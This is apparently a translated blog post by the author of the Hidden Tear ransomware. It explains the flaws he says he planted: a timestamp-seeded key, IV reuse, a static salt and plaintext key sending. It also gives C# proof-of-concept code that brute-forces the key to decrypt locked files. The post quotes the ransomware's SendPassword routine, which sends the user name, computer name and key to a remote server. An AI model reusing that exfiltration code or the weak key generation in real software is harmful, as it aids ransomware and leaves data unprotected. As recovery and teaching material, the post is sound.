Crack the encryption mechanism of the Hidden Tear ransomware
As we all know, three months ago, I released the world's first open-source ransomware Hidden Tear. Unfortunately, many people criticized me on reddit and github. So now I want to explain the ideas behind the release of this open-source ransomware.
Motivation
When I was studying ransomware, I saw a lot of pretty block charts and compiled code that tried to explain how they work. For those familiar with assembly languages, reading and analyzing the code is not that tricky; but not for most people, especially for beginners. In addition, there is no source code for any suitable ransomware sample on the Internet. Therefore, my first motivation is to provide a source code for beginners, including students trying to understand the entire process. My second motivation is to build a honeypot for script kiddies.
Open-source ransomware as a script kiddie trap
Most people accuse me of providing an attack weapon for the script kiddies.
But I know that script boys already have their ransomware factory in the Deep Web. The Tox service may be disabled, but there are still many websites that provide ransomware services. I have investigated these ransomware services and they do not have any serious vulnerabilities, just like other well-designed ransomware.
However, there is a problem that users must provide service providers with 20% of their profits. So, my thought at the time was, "if they had a free source code to use, would they still use the ransomware service? I don't think so ."
As a result, I decided to write a code containing a huge security vulnerability, so that if someone is affected by it, I would be able to reverse the damage. In addition, some people on the internet think that:
Major security vulnerabilities in Hidden Tear
For experienced people, they can see these vulnerabilities at a glance. But I didn't mean it. Now I can explain it.
Seeds of Random Algorithms
The most important security vulnerability exists in the process of creating a random encryption key. I used the Random class in. Net to generate Random strings. The Random class uses Environment. TickCount (the number of milliseconds since the system was started) as the seed. It can only weaken the surface of violent attacks, and it is easy to predict.
Attack vector Reuse
During encryption, the algorithm uses the same attack vector (IV) for each file ).
Static Salt)
It uses static salt for encryption.
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
Sending key
The key is sent to the server through an unencrypted GET request.
//Sends created password target location public void SendPassword(string password){ string info = computerName + "-" + userName + " " + password; var fullUrl = targetURL + info; var conent = new System.Net.WebClient().DownloadString(fullUrl); }
If the network is listening at the time, you can easily find the key by checking the log.
Linux ransomware events
Have you heard that Linux ransomware is caught by Bitdefender due to the same vulnerability? Reddit users observe that Linux ransomware is probably motivated by Hidden Tear.
Well, I have to admit that I was expecting more. At that time, only one person used my code and broke it, but at least we got rid of a large-scale attack.
Crack the encryption of Hidden Tear
All we need to do is find this seed. We can use the File. GetLastWriteTime method to obtain the timestamp of the encrypted File. Then we can convert it to Environment. TickCount to obtain an exact integer.
But there is a problem, that is, there is a small time difference between the last time the file was written and the start time of the key generation. The time difference is between 0 and 50 milliseconds, but we can easily solve it.
This is my first PoC to predict the key by getting the seed. Note that "Ft * mo? The S20ewcxZw string is generated by the encryption of the Hidden tearand bank.txt files.
static void Main(string[] args) { string path = @"C:\Users\utku\Desktop\test\bank.txt.locked"; var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount); int ms = (int)timestamp.TotalMilliseconds; int count = 0; string password = ""; int diff = 0; while (password != "Ft*mo?S20ewcxZw"){ password = CreatePassword(15, ms - diff); Console.WriteLine("Trying: " + password + " " + "Count: " + count); count++; diff++; } Console.WriteLine("Found: " + password + " " + count); Console.ReadLine(); } public static string CreatePassword(int length,int seed) { const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"; StringBuilder res = new StringBuilder(); Random rnd = new Random(seed); while (0 < length--) { res.Append(valid[rnd.Next(valid.Length)]); } return res.ToString(); }
The result is as follows:
The time difference is almost 32 milliseconds.
Next, let's go into a real scenario. To decrypt an encrypted file, we need at least one plaintext version of the encrypted file. Assume that we have a file named bank.txt, which contains the plaintext "Yet another important file" string. Then, I encrypted it with Hidden Tear.
We need to use the predicted key to decrypt it and then check the decrypted content. If the result is the same as the plain text we know, the correct key is obtained. Otherwise, we will continue to try. The source code of PoC is as follows:
static void Main(string[] args) { string path = @"C:\Users\utku\Desktop\test\bank.txt.locked"; string data = "Yet another important file"; string draftdata = " "; var timestamp = File.GetLastWriteTime(path) - DateTime.Now.AddMilliseconds(-Environment.TickCount); int ms = (int)timestamp.TotalMilliseconds; int count = 0; string password = ""; int diff = 0; while (data != draftdata) { password = CreatePassword(15, ms - diff); Console.WriteLine("Trying: " + password + " " + "Count: " + count); byte[] bytesToBeDecrypted = File.ReadAllBytes(path); byte[] passwordBytes = Encoding.UTF8.GetBytes(password); passwordBytes = SHA256.Create().ComputeHash(passwordBytes); byte[] bytesDecrypted = AES_Decrypt(bytesToBeDecrypted, passwordBytes); draftdata = System.Text.Encoding.UTF8.GetString(bytesDecrypted); diff++; } Console.WriteLine("Found: " + password + " " + count); Console.ReadLine(); }
You can obtain the required functions from the Hidden Tear encryptor.
Conclusion
I know this is not a successful honeypot project, but I'm glad to reduce the harm caused by Linux ransomware. In addition, I will be very happy if new users can learn from it.